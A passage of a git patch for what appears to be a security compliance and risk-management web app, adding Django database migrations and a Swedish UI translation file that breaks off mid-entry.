From f765433d4916e3f0254f3efc2fa3bb110fcbcfb7 Mon Sep 17 00:00:00 2001 From: monsieurswag Date: Tue, 26 Nov 2024 11:37:38 +0100 Subject: [PATCH] Fix conflicts --- ..._riskscenario_existing_applied_controls.py | 22 + backend/core/migrations/0036_asset_owner.py | 24 + .../0037_appliedcontrol_priority.py | 22 + ...t_disaster_recovery_objectives_and_more.py | 99 ++ .../migrations/0039_make_urn_lowercase.py | 40 + .../migrations/0040_riskscenario_ref_id.py | 39 + .../0003_alter_clientsettings_favicon.py | 19 + frontend/messages/sv.json | 864 ++++++++++++++++++ .../src/lib/components/Forms/Duration.svelte | 111 +++ .../ModelForm/AppliedControlPolicyForm.svelte | 23 + .../Forms/ModelForm/GeneralSettingForm.svelte | 20 + .../components/Forms/RadioGroupInput.svelte | 85 ++ .../src/lib/components/Forms/RadioItem.svelte | 106 +++ frontend/src/lib/utils/schemas.ts | 13 +- .../risk-scenarios/default-ref-id/+server.ts | 20 + .../disaster-recovery-objectives/+server.ts | 20 + .../assets/security-objectives/+server.ts | 20 + tools/intuitem/doc-pol.xlsx | Bin 0 -> 14986 bytes tools/mitre/enterprise-attack.json | 1 + tools/mitre/measures.xlsx | Bin 0 -> 9429 bytes tools/mitre/mitre-attack.xlsx | Bin 0 -> 338850 bytes tools/mitre/mitre.py | 43 + tools/mitre/techniques.xlsx | Bin 0 -> 302562 bytes 23 files changed, 1579 insertions(+), 12 deletions(-) create mode 100644 backend/core/migrations/0035_riskscenario_existing_applied_controls.py create mode 100644 backend/core/migrations/0036_asset_owner.py create mode 100644 backend/core/migrations/0037_appliedcontrol_priority.py create mode 100644 backend/core/migrations/0038_asset_disaster_recovery_objectives_and_more.py create mode 100644 backend/core/migrations/0039_make_urn_lowercase.py create mode 100644 backend/core/migrations/0040_riskscenario_ref_id.py create mode 100644 enterprise/backend/enterprise_core/migrations/0003_alter_clientsettings_favicon.py create mode 100644 frontend/messages/sv.json create mode 100644 frontend/src/lib/components/Forms/Duration.svelte create mode 100644 frontend/src/lib/components/Forms/ModelForm/GeneralSettingForm.svelte create mode 100644 frontend/src/lib/components/Forms/RadioGroupInput.svelte create mode 100644 frontend/src/lib/components/Forms/RadioItem.svelte create mode 100644 frontend/src/routes/(app)/(internal)/risk-scenarios/default-ref-id/+server.ts create mode 100644 frontend/src/routes/(app)/assets/disaster-recovery-objectives/+server.ts create mode 100644 frontend/src/routes/(app)/assets/security-objectives/+server.ts create mode 100644 tools/intuitem/doc-pol.xlsx create mode 100644 tools/mitre/enterprise-attack.json create mode 100644 tools/mitre/measures.xlsx create mode 100644 tools/mitre/mitre-attack.xlsx create mode 100644 tools/mitre/mitre.py create mode 100644 tools/mitre/techniques.xlsx diff --git a/backend/core/migrations/0035_riskscenario_existing_applied_controls.py b/backend/core/migrations/0035_riskscenario_existing_applied_controls.py new file mode 100644 index 000000000..675d36503 --- /dev/null +++ b/backend/core/migrations/0035_riskscenario_existing_applied_controls.py @@ -0,0 +1,22 @@ +# Generated by Django 5.1.1 on 2024-11-09 08:49 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [ + ("core", "0034_fix_loaded_libraries_objects_meta"), + ] + + operations = [ + migrations.AddField( + model_name="riskscenario", + name="existing_applied_controls", + field=models.ManyToManyField( + blank=True, + related_name="risk_scenarios_e", + to="core.appliedcontrol", + verbose_name="Existing Applied controls", + ), + ), + ] diff --git a/backend/core/migrations/0036_asset_owner.py b/backend/core/migrations/0036_asset_owner.py new file mode 100644 index 000000000..e6e20a8b0 --- /dev/null +++ b/backend/core/migrations/0036_asset_owner.py @@ -0,0 +1,24 @@ +# Generated by Django 5.1.1 on 2024-11-18 16:21 + +from django.conf import settings +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [ + ("core", "0035_riskscenario_existing_applied_controls"), + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.AddField( + model_name="asset", + name="owner", + field=models.ManyToManyField( + blank=True, + related_name="assets", + to=settings.AUTH_USER_MODEL, + verbose_name="Owner", + ), + ), + ] diff --git a/backend/core/migrations/0037_appliedcontrol_priority.py b/backend/core/migrations/0037_appliedcontrol_priority.py new file mode 100644 index 000000000..3f8a97035 --- /dev/null +++ b/backend/core/migrations/0037_appliedcontrol_priority.py @@ -0,0 +1,22 @@ +# Generated by Django 5.1.1 on 2024-11-19 15:31 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [ + ("core", "0036_asset_owner"), + ] + + operations = [ + migrations.AddField( + model_name="appliedcontrol", + name="priority", + field=models.PositiveSmallIntegerField( + blank=True, + choices=[(1, "P1"), (2, "P2"), (3, "P3"), (4, "P4")], + null=True, + verbose_name="Priority", + ), + ), + ] diff --git a/backend/core/migrations/0038_asset_disaster_recovery_objectives_and_more.py b/backend/core/migrations/0038_asset_disaster_recovery_objectives_and_more.py new file mode 100644 index 000000000..6045b5ff6 --- /dev/null +++ b/backend/core/migrations/0038_asset_disaster_recovery_objectives_and_more.py @@ -0,0 +1,99 @@ +# Generated by Django 5.1.1 on 2024-11-22 07:00 + +import core.validators +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [ + ("core", "0037_appliedcontrol_priority"), + ] + + operations = [ + migrations.AddField( + model_name="asset", + name="disaster_recovery_objectives", + field=models.JSONField( + blank=True, + default=dict, + help_text="The disaster recovery objectives of the asset", + validators=[ + core.validators.JSONSchemaInstanceValidator( + { + "$id": "https://ciso-assistant.com/schemas/assets/security_objectives.schema.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The security objectives of the asset", + "properties": { + "objectives": { + "patternProperties": { + "^[a-z_]+$": { + "properties": { + "value": { + "minimum": 0, + "type": "integer", + } + }, + "type": "object", + } + }, + "type": "object", + } + }, + "title": "Security objectives", + "type": "object", + } + ) + ], + verbose_name="Disaster recovery objectives", + ), + ), + migrations.AddField( + model_name="asset", + name="reference_link", + field=models.URLField( + blank=True, + help_text="External url for action follow-up (eg. Jira ticket)", + max_length=2048, + null=True, + verbose_name="Link", + ), + ), + migrations.AddField( + model_name="asset", + name="security_objectives", + field=models.JSONField( + blank=True, + default=dict, + help_text="The security objectives of the asset", + validators=[ + core.validators.JSONSchemaInstanceValidator( + { + "$id": "https://ciso-assistant.com/schemas/assets/security_objectives.schema.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The security objectives of the asset", + "properties": { + "objectives": { + "patternProperties": { + "^[a-z_]+$": { + "properties": { + "is_enabled": {"type": "boolean"}, + "value": { + "minimum": 0, + "type": "integer", + }, + }, + "type": "object", + } + }, + "type": "object", + } + }, + "title": "Security objectives", + "type": "object", + } + ) + ], + verbose_name="Security objectives", + ), + ), + ] diff --git a/backend/core/migrations/0039_make_urn_lowercase.py b/backend/core/migrations/0039_make_urn_lowercase.py new file mode 100644 index 000000000..e7156b2fc --- /dev/null +++ b/backend/core/migrations/0039_make_urn_lowercase.py @@ -0,0 +1,40 @@ +# Generated by Django 5.1.1 on 2024-11-23 07:58 + +from django.db import migrations +from django.db.models.functions import Lower + + +def make_urn_lowercase(apps, schema_editor): + Threat = apps.get_model("core", "Threat") + ReferenceControl = apps.get_model("core", "ReferenceControl") + RiskMatrix = apps.get_model("core", "RiskMatrix") + Framework = apps.get_model("core", "Framework") + RequirementNode = apps.get_model("core", "RequirementNode") + RequirementMappingSet = apps.get_model("core", "RequirementMappingSet") + StoredLibrary = apps.get_model("core", "StoredLibrary") + LoadedLibrary = apps.get_model("core", "LoadedLibrary") + + models = [ + Threat, + ReferenceControl, + RiskMatrix, + Framework, + RequirementMappingSet, + StoredLibrary, + LoadedLibrary, + ] + for model in models: + model.objects.filter(urn__isnull=False).update(urn=Lower("urn")) + + RequirementNode.objects.filter(urn__isnull=False).update(urn=Lower("urn")) + RequirementNode.objects.filter(parent_urn__isnull=False).update( + parent_urn=Lower("parent_urn") + ) + + +class Migration(migrations.Migration): + dependencies = [ + ("core", "0038_asset_disaster_recovery_objectives_and_more"), + ] + + operations = [migrations.RunPython(make_urn_lowercase)] diff --git a/backend/core/migrations/0040_riskscenario_ref_id.py b/backend/core/migrations/0040_riskscenario_ref_id.py new file mode 100644 index 000000000..deee17e9f --- /dev/null +++ b/backend/core/migrations/0040_riskscenario_ref_id.py @@ -0,0 +1,39 @@ +# Generated by Django 5.1.1 on 2024-11-21 17:22 + +from django.db import migrations, models + + +def populate_default_ref_ids(apps, schema_editor): + RiskAssessment = apps.get_model("core", "RiskAssessment") + + def get_default_ref_id(risk_assessment): + """Return a unique reference ID for a given risk assessment.""" + scenarios_ref_ids = [ + x.ref_id for x in risk_assessment.risk_scenarios.all() if x.ref_id + ] + nb_scenarios = len(scenarios_ref_ids) + 1 + candidates = [f"R.{i+1}" for i in range(nb_scenarios)] + return next(x for x in candidates if x not in scenarios_ref_ids) + + for risk_assessment in RiskAssessment.objects.all(): + for scenario in risk_assessment.risk_scenarios.filter(ref_id=""): + scenario.ref_id = get_default_ref_id(risk_assessment) + scenario.save() + + +class Migration(migrations.Migration): + dependencies = [ + ("core", "0039_make_urn_lowercase"), + ] + + operations = [ + migrations.AddField( + model_name="riskscenario", + name="ref_id", + field=models.CharField( + blank=True, max_length=8, verbose_name="Reference ID" + ), + preserve_default=False, + ), + migrations.RunPython(populate_default_ref_ids), + ] diff --git a/enterprise/backend/enterprise_core/migrations/0003_alter_clientsettings_favicon.py b/enterprise/backend/enterprise_core/migrations/0003_alter_clientsettings_favicon.py new file mode 100644 index 000000000..ef6b17bbf --- /dev/null +++ b/enterprise/backend/enterprise_core/migrations/0003_alter_clientsettings_favicon.py @@ -0,0 +1,19 @@ +# Generated by Django 5.1.2 on 2024-11-16 01:00 + +import django.core.validators +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('enterprise_core', '0002_clientsettings_show_images_unauthenticated_and_more'), + ] + + operations = [ + migrations.AlterField( + model_name='clientsettings', + name='favicon', + field=models.ImageField(blank=True, null=True, upload_to='client_favicons', validators=[django.core.validators.FileExtensionValidator(['ico', 'png', 'jpeg', 'jpg', 'webp', 'svg'])]), + ), + ] diff --git a/frontend/messages/sv.json b/frontend/messages/sv.json new file mode 100644 index 000000000..5bf052cb7 --- /dev/null +++ b/frontend/messages/sv.json @@ -0,0 +1,864 @@ +{ + "$schema": "https://inlang.com/schema/inlang-message-format", + "french": "Franska", + "english": "Engelska", + "arabic": "Arabiska", + "portuguese": "Portugisiska", + "spanish": "Spanska", + "german": "Tyska", + "dutch": "Nederländska", + "italian": "Italienska", + "polish": "Polska", + "romanian": "Rumänska", + "hindi": "Hindi", + "urdu": "Urdu", + "czech": "Tjeckiska", + "swedish": "Svenska", + "addThreat": "Lägg till hot", + "addVulnerability": "Lägg till sårbarhet", + "addReferenceControl": "Lägg till referenskontroll", + "addAppliedControl": "Lägg till tillämpad kontroll", + "addAsset": "Lägg till tillgång", + "addRiskAssessment": "Lägg till riskbedömning", + "addRiskScenario": "Lägg till riskscenario", + "addRiskAcceptance": "Lägg till riskacceptans", + "addComplianceAssessment": "Ny revision", + "addEvidence": "Lägg till bevis", + "addDomain": "Lägg till domän", + "addProject": "Lägg till projekt", + "addUser": "Lägg till användare", + "addPolicy": "Lägg till policy", + "associatedThreats": "Associerade hot", + "associatedReferenceControls": "Associerade referenskontroller", + "associatedAppliedControls": "Associerade tillämpade kontroller", + "associatedAssets": "Associerade tillgångar", + "associatedRiskAssessments": "Associerade riskbedömningar", + "associatedRiskScenarios": "Associerade riskscenarier", + "associatedRiskAcceptances": "Associerade riskacceptanser", + "associatedComplianceAssessments": "Associerade revisioner", + "associatedEvidences": "Associerade bevis", + "associatedDomains": "Associerade domäner", + "associatedProjects": "Associerade projekt", + "associatedUsers": "Associerade användare", + "associatedEntityAssessments": "Associerade enhetsbedömningar", + "associatedRepresentatives": "Associerade representanter", + "associatedSolutions": "Associerade lösningar", + "home": "Hem", + "edit": "Redigera", + "changePassword": "Ändra lösenord", + "overview": "Översikt", + "context": "Kontext", + "governance": "Styrning", + "risk": "Risk", + "compliance": "Efterlevnad", + "organization": "Organisation", + "extra": "Extra", + "analytics": "Analys", + "calendar": "Kalender", + "threats": "Hot", + "threatsColon": "Hot:", + "referenceControls": "Referenskontroller", + "referenceControlsColon": "Referenskontroller:", + "appliedControls": "Tillämpade kontroller", + "existingAppliedControls": "Befintliga kontroller", + "extraAppliedControls": "Extra kontroller", + "assets": "Tillgångar", + "asset": "Tillgång", + "policy": "Policy", + "policies": "Policyer", + "riskMatrices": "Riskmatriser", + "riskMatricesColon": "Riskmatriser:", + "riskAssessments": "Riskbedömningar", + "riskScenarios": "Riskscenarier", + "riskScenario": "Riskscenario", + "riskAcceptances": "Riskacceptanser", + "riskAcceptance": "Riskacceptans", + "complianceAssessments": "Revisioner", + "complianceAssessment": "Revision", + "evidences": "Bevis", + "evidence": "Bevis", + "frameworks": "Ramverk", + "frameworksColon": "Ramverk:", + "domains": "Domäner", + "projects": "Projekt", + "users": "Användare", + "user": "Användare", + "userGroups": "Användargrupper", + "roleAssignments": "Rolltilldelningar", + "xRays": "Röntgen", + "inspect": "Inspektera", + "scoringAssistant": "Poängsättningsassistent", + "scoringAssistantNoMatrixError": "Importera en riskmatris från biblioteket för att få åtkomst till den här sidan", + "libraries": "Bibliotek", + "backupRestore": "Säkerhetskopiera och återställ", + "myProfile": "Min profil", + "aboutCiso": "Om CISO Assistant", + "Logout": "Logga ut", + "name": "Namn", + "description": "Beskrivning", + "parentDomain": "Överordnad domän", + "ref": "Referens", + "refId": "Referens-ID", + "businessValue": "Affärsvärde", + "email": "E-post", + "firstName": "Förnamn", + "lastName": "Efternamn", + "category": "Kategori", + "csfFunction": "CSF-funktion", + "eta": "ETA", + "referenceControl": "Referenskontroll", + "appliedControl": "Tillämpad kontroll", + "provider": "Leverantör", + "providerColon": "Leverantör:", + "domain": "Domän", + "urn": "URN", + "id": "ID", + "treatmentStatus": "Behandlingsstatus", + "qualification": "Kvalificering", + "currentLevel": "Nuvarande nivå", + "residualLevel": "Restnivå", + "riskMatrix": "Riskmatris", + "riskMatrixColon": "Riskmatris:", + "project": "Projekt", + "folder": "Mapp", + "riskAssessment": "Riskbedömning", + "threat": "Hot", + "framework": "Ramverk", + "frameworkColon": "Ramverk:", + "file": "Fil", + "language": "Språk", + "builtin": "Inbyggd", + "next": "Nästa", + "previous": "Föregående", + "show": "Visa", + "entries": "poster", + "searchPlaceholder": "Sök...", + "noEntriesFound": "Inga poster hittades", + "rowCount": "Visar {start} till {end} av {total}", + "status": "Status", + "result": "Resultat", + "effort": "Ansträngning", + "cost": "Kostnad", + "impact": "Effekt", + "expiryDate": "Utgångsdatum", + "link": "Länk", + "createdAt": "Skapad den", + "updatedAt": "Uppdaterad den", + "acceptedAt": "Accepterad den", + "rejectedAt": "Avvisad den", + "revokedAt": "Återkallad den", + "submitted": "Inskickad", + "rejected": "Avvisad", + "revoked": "Återkallad", + "locale": "Lokal", + "defaultLocale": "Standardlokal", + "annotation": "Anmärkning", + "library": "Bibliotek", + "typicalEvidence": "Typiska bevis", + "parentAsset": "Överordnad tillgång", + "parentAssets": "Överordnade tillgångar", + "approver": "Godkännare", + "state": "Tillstånd", + "justification": "Motivering", + "parentFolder": "Överordnad mapp", + "contentType": "Innehållstyp", + "objectType": "Objekttyp", + "type": "Typ", + "lcStatus": "Status", + "internalReference": "Intern referens", + "isActive": "Är aktiv", + "dateJoined": "Gick med", + "version": "Version", + "versionColon": "Version:", + "treatment": "Behandling", + "currentProba": "Nuvarande sannolikhet", + "currentImpact": "Nuvarande påverkan", + "residualProba": "Rest sannolikhet", + "residualImpact": "Rest påverkan", + "existingControls": "Befintliga kontroller", + "strengthOfKnowledge": "Kunskapens styrka", + "dueDate": "Förfallodatum", + "attachment": "Bilaga", + "observation": "Observation", + "noObservation": "Ingen observation", + "importMatrices": "Importera matriser", + "importFrameworks": "Importera ramverk", + "importMappings": "Importera kartläggningar", + "summary": "Sammanfattning", + "composer": "Kompositör", + "statistics": "Statistik", + "myProjects": "Mina projekt", + "scenarios": "Scenarier", + "assignedProjects": "Tilldelad till {number} projekt{s}", + "currentRiskLevelPerScenario": "Nuvarande risknivå per riskscenario", + "residualRiskLevelPerScenario": "Rest risknivå per riskscenario", + "appliedControlsStatus": "Status för tillämpade kontroller", + "currentRisk": "Nuvarande risk", + "residualRisk": "Rest risk", + "planned": "Planerad", + "active": "Aktiv", + "inactive": "Inaktiv", + "watchlist": "Bevakningslista", + "watchlistDescription": "Objekt som har löpt ut eller kommer att löpa ut inom 30 dagar", + "measuresToReview": "Tillämpade kontroller att granska", + "exceptionsToReview": "Undantag att granska", + "expired": "Utgånget", + "upcoming": "Kommande", + "today": "Idag", + "actionRequested": "Åtgärd begärd", + "noRiskAcceptanceYet": "Ingen riskacceptans ännu", + "noAppliedControlYet": "Ingen tillämpad kontroll ännu", + "authors": "Författare", + "reviewers": "Granskare", + "processButton": "Bearbeta", + "selectTargets": "Välj dina mål", + "composerDescription": "Detta hjälper dig att aggregera flera komponenter (projekt) för att få en sammanställd vy över din risk.", + "composerDescription1": "Affärsinformationsmetod för att fokusera på en specifik del över olika projektområden (t.ex. divisioner)", + "composerDescription2": "Du är intresserad av riskbedömningen för ett specifikt system, där du behöver riskbedömningen av underliggande komponenter", + "overallCompliance": "Total efterlevnad", + "exportButton": "Exportera", + "treatmentProgressOverview": "Översikt över behandlingsframsteg", + "pendingMeasures": "Dina väntande tillämpade kontroller", + "orderdByRankingScore": "Sorterad efter rankingpoäng och datum", + "rankingScore": "Rankingpoäng", + "noPendingAppliedControl": "Ingen väntande tillämpad kontroll", + "rankingScoreDefintion": "Rankingpoäng är ett adaptivt mått som kombinerar information om ansträngning och nuvarande risknivå för att hjälpa till med prioritering", + "actions": "Åtgärder", + "projectsSummaryEmpty": "Projektöversikten är tom", + "riskOpen": "Risk: öppen", + "riskMitigate": "Risk: mildra", + "riskAccept": "Risk: acceptera", + "riskAvoid": "Risk: undvik", + "measureOpen": "Åtgärd: öppen", + "measureProgress": "Åtgärd: pågår", + "measureHold": "Åtgärd: pausad", + "measureDone": "Åtgärd: klar", + "monday": "Måndag", + "tuesday": "Tisdag", + "wednesday": "Onsdag", + "thursday": "Torsdag", + "friday": "Fredag", + "saturday": "Lördag", + "sunday": "Söndag", + "january": "Januari", + "february": "Februari", + "march": "Mars", + "april": "April", + "may": "Maj", + "june": "Juni", + "july": "Juli", + "august": "Augusti", + "september": "September", + "october": "Oktober", + "november": "November", + "december": "December", + "errorsFound": "Hittade {count} fel", + "warningsFound": "Hittade {count} varningar", + "infosFound": "Hittade {count} informationer", + "remediationPlan": "Åtgärdsplan", + "treatmentPlan": "Behandlingsplan", + "plan": "Plan", + "asPDF": "som PDF", + "asCSV": "som CSV", + "draft": "Utkast", + "riskMatrixView": "Riskmatrisvy", + "currentInMatrixView": "Nuvarande", + "probability": "Sannolikhet", + "riskLevels": "Risknivåer", + "riskLevel": "Risknivå", + "cancel": "Avbryt", + "save": "Spara", + "assetsImpactedByTheRiskScenario": "Tillgångar påverkade av riskscenariot", + "theExistingAppliedControlsToManageThisRisk": "De befintliga tillämpade kontrollerna för att hantera denna risk", + "currentRiskLevelGivenCurrentMeasures": "Nuvarande risknivå givet de aktuella tillämpade kontrollerna", + "riskLevelWhenAllExtraMeasuresDone": "Risknivå när alla extra åtgärder är klara", + "myUserGroups": "Mina användargrupper", + "changePasswordText": "Du kan ändra ditt lösenord här. Du måste logga in med ditt nya lösenord efter denna åtgärd", + "oldPassword": "Gammalt lösenord", + "newPassword": "Nytt lösenord", + "confirmNewPassword": "Bekräfta nytt lösenord", + "label": "Etikett", + "NA": "N/A", + "threatAgentFactors": "Hotagentfaktorer", + "vulnerabilityFactors": "Sårbarhetsfaktorer", + "businessImpactFactors": "Affärspåverkansfaktorer", + "technicalImpactFactors": "Teknisk påverkansfaktorer", + "assessmentVector": "Bedömningsvektor", + "skillLevelText": "Hur tekniskt kunnig är denna grupp av hotagenter?", + "skillLevelChoice1": "Inga tekniska kunskaper", + "skillLevelChoice2": "Viss teknisk kunskap", + "skillLevelChoice3": "Avancerad datorkunskap", + "skillLevelChoice4": "Nätverks- och programmeringskunskaper", + "skillLevelChoice5": "Säkerhetspenetrationskunskaper", + "motiveText": "Hur motiverad är denna grupp av hotagenter att hitta och utnyttja denna sårbarhet?", + "motiveChoice1": "Låg eller ingen belöning", + "motiveChoice2": "Möjlig belöning", + "motiveChoice3": "Hög belöning", + "opportunityText": "Vilka resurser och möjligheter krävs för denna grupp av hotagenter att hitta och utnyttja denna sårbarhet?", + "opportunityChoice1": "Full åtkomst eller dyra resurser krävs", + "opportunityChoice2": "Specialiserad åtkomst eller resurser krävs", + "opportunityChoice3": "Viss åtkomst eller resurser krävs", + "opportunityChoice4": "Ingen åtkomst eller resurser krävs", + "sizeText": "Hur stor är denna grupp av hotagenter?", + "sizeChoice1": "Utvecklare eller systemadministratörer", + "sizeChoice2": "Intranätanvändare", + "sizeChoice3": "Partners", + "sizeChoice4": "Autentiserade användare", + "sizeChoice5": "Anonyma internetanvändare", + "easeOfDiscoveryText": "Hur lätt är det för denna grupp av hotagenter att upptäcka denna sårbarhet?", + "easeOfDiscoveryChoice1": "Praktiskt taget omöjligt", + "easeOfDiscoveryChoice2": "Svårt", + "easeOfDiscoveryChoice3": "Lätt", + "easeOfDiscoveryChoice4": "Automatiserade verktyg tillgängliga", + "easeOfExploitText": "Hur lätt är det för denna grupp av hotagenter att faktiskt utnyttja denna sårbarhet?", + "easeOfExploitChoice1": "Teoretisk", + "easeOfExploitChoice2": "Svår", + "easeOfExploitChoice3": "Lätt", + "easeOfExploitChoice4": "Automatiserade verktyg tillgängliga", + "awarenessText": "Hur välkänd är denna sårbarhet för denna grupp av hotagenter?", + "awarenessChoice1": "Okänd", + "awarenessChoice2": "Dold", + "awarenessChoice3": "Uppenbar", + "awarenessChoice4": "Allmänt känd", + "intrusionDetectionText": "Hur troligt är det att ett utnyttjande upptäcks?", + "intrusionDetectionChoice1": "Aktiv detektering i applikationen", + "intrusionDetectionChoice2": "Loggad och granskad", + "intrusionDetectionChoice3": "Loggad utan granskning", + "intrusionDetectionChoice4": "Inte loggad", + "financialDamageText": "Hur stor ekonomisk skada kommer ett utnyttjande att orsaka?", + "financialDamageChoice1": "Mindre än kostnaden för att åtgärda sårbarheten", + "financialDamageChoice2": "Mindre påverkan på årsresultatet", + "financialDamageChoice3": "Betydande påverkan på årsresultatet", + "financialDamageChoice4": "Konkurs", + "reputationDamageText": "Skulle ett utnyttjande resultera i skada på ryktet som skulle skada verksamheten?", + "reputationDamageChoice1": "Minimal skada", + "reputationDamageChoice2": "Förlust av stora konton", + "reputationDamageChoice3": "Förlust av goodwill", + "reputationDamageChoice4": "Varumärkesskada", + "nonComplianceText": "Hur mycket exponering innebär bristande efterlevnad?", + "nonComplianceChoice1": "Mindre överträdelse", + "nonComplianceChoice2": "Tydlig överträdelse", + "nonComplianceChoice3": "Högprofilerad överträdelse", + "nonComplianceChoice4": "Ingen exponering", + "privacyViolationText": "Hur mycket personligt identifierbar information kan avslöjas?", + "privacyViolationChoice1": "En individ", + "privacyViolationChoice2": "Hundratals personer", + "privacyViolationChoice3": "Tusentals personer", + "privacyViolationChoice4": "Miljoner människor", + "lossOfConfidentialityText": "Hur mycket data kan avslöjas och hur känsligt är det?", + "lossOfConfidentialityChoice1": "Minimal icke-känslig data avslöjad", + "lossOfConfidentialityChoice2": "Minimal kritisk data eller omfattande icke-känslig data avslöjad", + "lossOfConfidentialityChoice3": "Omfattande kritisk data avslöjad", + "lossOfConfidentialityChoice4": "All data avslöjad", + "lossOfIntegrityText": "Hur mycket data kan förvanskas och hur allvarligt är det?", + "lossOfIntegrityChoice1": "Minimal lätt förvanskad data", + "lossOfIntegrityChoice2": "Minimal allvarligt förvanskad data", + "lossOfIntegrityChoice3": "Omfattande lätt förvanskad data", + "lossOfIntegrityChoice4": "Omfattande allvarligt förvanskad data", + "lossOfIntegrityChoice5": "All data helt förvanskad", + "lossOfAvailabilityText": "Hur mycket tjänst kan förloras och hur viktig är den?", + "lossOfAvailabilityChoice1": "Minimal påverkan på sekundära tjänster", + "lossOfAvailabilityChoice2": "Minimal påverkan på primära eller omfattande sekundära tjänster", + "lossOfAvailabilityChoice3": "Omfattande påverkan på primära tjänster", + "lossOfAvailabilityChoice4": "Alla tjänster helt förlorade", + "lossOfAccountabilityText": "Är hotagenternas handlingar spårbara till en individ?", + "lossOfAccountabilityChoice1": "Fullt spårbar", + "lossOfAccountabilityChoice2": "Eventuellt spårbar", + "lossOfAccountabilityChoice3": "Helt anonym", + "ignore": "Ignorera", + "loadedLibraries": "Laddade bibliotek", + "librariesStore": "Biblioteksbutik", + "currentlyNoLoadedLibraries": "Du har för närvarande inga laddade bibliotek", + "loadingLibraryUploadButton": "Laddar upp biblioteksfil", + "errorOccurredWhileLoadingLibrary": "Ett fel inträffade vid laddning av biblioteket", + "packager": "Paketerare", + "packagerColon": "Paketerare:", + "dependencies": "Beroenden", + "copyright": "Upphovsrätt", + "addYourLibrary": "Lägg till ditt eget bibliotek", + "libraryFileInYaml": "Biblioteksfil i YAML-format", + "importBackup": "Importera säkerhetskopia", + "exportBackup": "Exportera säkerhetskopia", + "confirmImportBackup": "Är du säker på att du vill importera denna säkerhetskopia? Detta kommer att skriva över all befintlig data.", + "exportDatabase": "Exportera databas", + "upload": "Ladda upp", + "add": "Lägg till", + "undefined": "--", + "production": "Produktion", + "design": "Design", + "development": "Utveckling", + "endOfLife": "Slut på livscykel", + "dropped": "Avbruten", + "technical": "Teknisk", + "physical": "Fysisk", + "process": "Process", + "veryLow": "Mycket låg", + "low": "Låg", + "high": "Hög", + "veryHigh": "Mycket hög", + "small": "Liten", + "medium": "Medel", + "large": "Stor", + "extraLarge": "Extra stor", + "scope": "Omfattning", + "reader": "Läsare", + "lastUpdate": "Senaste uppdatering", + "riskScenarioAssetHelpText": "Tillgångar påverkade av detta riskscenario", + "riskScenarioMeasureHelpText": "De befintliga tillämpade kontrollerna för att hantera denna risk", + "currentAssessment": "Nuvarande bedömning", + "targetAssessment": "Målsatt bedömning", + "currentRiskLevel": "Nuvarande risknivå", + "residualRiskLevel": "Rest risknivå", + "currentRiskLevelHelpText": "Risknivån givet nuvarande kontroller", + "residualRiskLevelHelpText": "Risknivån när alla extra åtgärder har genomförts", + "yourSelection": "Ditt val", + "composerHint": "Tips: Du kan bokmärka denna sida för framtida användning", + "composerTitle": "Här är översikten för den valda riskbedömningen", + "composerTitlePlural": "Här är översikten för de {number} valda riskbedömningarna", + "statusOfAssociatedMeasures": "Status för associerade åtgärder", + "forTheSelectedScope": "För det valda omfånget har du", + "untreatedRiskScenarios": "{count} obehandlade riskscenarier", + "acceptedRiskScenarios": "{count} accepterade riskscenarier", + "reviewNeeded": "Granskning behövs", + "ok": "Ok", + "inconsistenciesFoundComposer": "Hittade {count} inkonsekvens(er). För mer detaljer, kontrollera", + "current": "Nuvarande", + "residual": "Rest", + "jumpToRiskAssessment": "Hoppa till riskbedömning", + "additionalMeasures": "Ytterligare åtgärder", + "riskAssessmentMatrixHelpText": "VARNING: Du kommer inte att kunna ändra riskmatrisen efter att riskbedömningen har skapats", + "etaHelpText": "Beräknad ankomsttid", + "dueDateHelpText": "Datum då bedömningen måste slutföras", + "expiryDateHelpText": "Datum då objektet inte längre är giltigt", + "linkHelpText": "Extern URL för åtgärdsuppföljning (t.ex. Jira-ärende)", + "effortHelpText": "Ansträngningen som krävs för att implementera den tillämpade kontrollen", + "costHelpText": "Kostnaden för att implementera den tillämpade kontrollen", + "riskAcceptanceJusitficationHelpText": "Motivering för riskacceptans. Endast godkännaren kan redigera detta fält.", + "approverHelpText": "Riskägare och godkännarens identitet", + "riskAcceptanceRiskScenariosHelpText": "Riskscenarier som accepteras", + "attachmentHelpText": "Fil för bevis (t.ex. skärmdump, loggfil, etc.). När vald kan du klistra in skärmdumpar direkt från urklippet.", + "attachmentWarningText": "VARNING: Att ladda upp en ny fil kommer att skriva över den befintliga", + "isActiveHelpText": "Anger om denna användare ska behandlas som aktiv", + "helloThere": "Hej där 👋", + "thisIsCisoAssistant": "Detta är CISO Assistant.", + "yourStreamlined": "Din strömlinjeformade", + "oneStopShop": "allt-i-ett-plattform", + "forComplianceRiskManagement": "för efterlevnad och riskhantering.", + "setPassword": "Ställ in lösenord", + "logIntoYourAccount": "Logga in på ditt konto", + "youNeedToLogIn": "Du måste logga in för att få tillgång till alla funktioner", + "forgtPassword": "Glömt lösenordet", + "login": "Logga in", + "password": "Lösenord", + "enterYourEmail": "Ange din e-postadress nedan, så skickar vi instruktioner för att ställa in ett nytt", + "send": "Skicka", + "goBackToLogin": "Gå tillbaka till inloggning", + "riskAcceptanceReviewMessage": "Denna riskacceptans väntar på bearbetning. Kom ihåg att granska den innan du validerar eller avvisar den; du kommer inte att kunna ångra dig.", + "validate": "Validera", + "reject": "Avvisa", + "revoke": "Återkalla", + "riskAcceptanceValidatedMessage": "Denna riskacceptans är för närvarande validerad. Den kan återkallas när som helst, men detta kommer att vara oåterkalleligt. Du måste duplicera den med en annan version om det behövs.", + "confirmModalTitle": "Bekräfta", + "confirmModalMessage": "Är du säker? Denna åtgärd kommer permanent att påverka följande objekt", + "submit": "Skicka", + "requirementAssessment": "Kravbedömning", + "requirementAssessments": "Kravbedömningar", + "deleteModalTitle": "Radera", + "deleteModalMessage": "Är du säker på att du vill radera följande objekt: {name}?", + "deleteUserMessage": "Är du säker på att du vill radera följande användare: {name}?", + "download": "Ladda ner", + "loading": "Laddar", + "open": "Öppnad", + "mitigate": "Mildra", + "accept": "Acceptera", + "avoid": "Undvik", + "transfer": 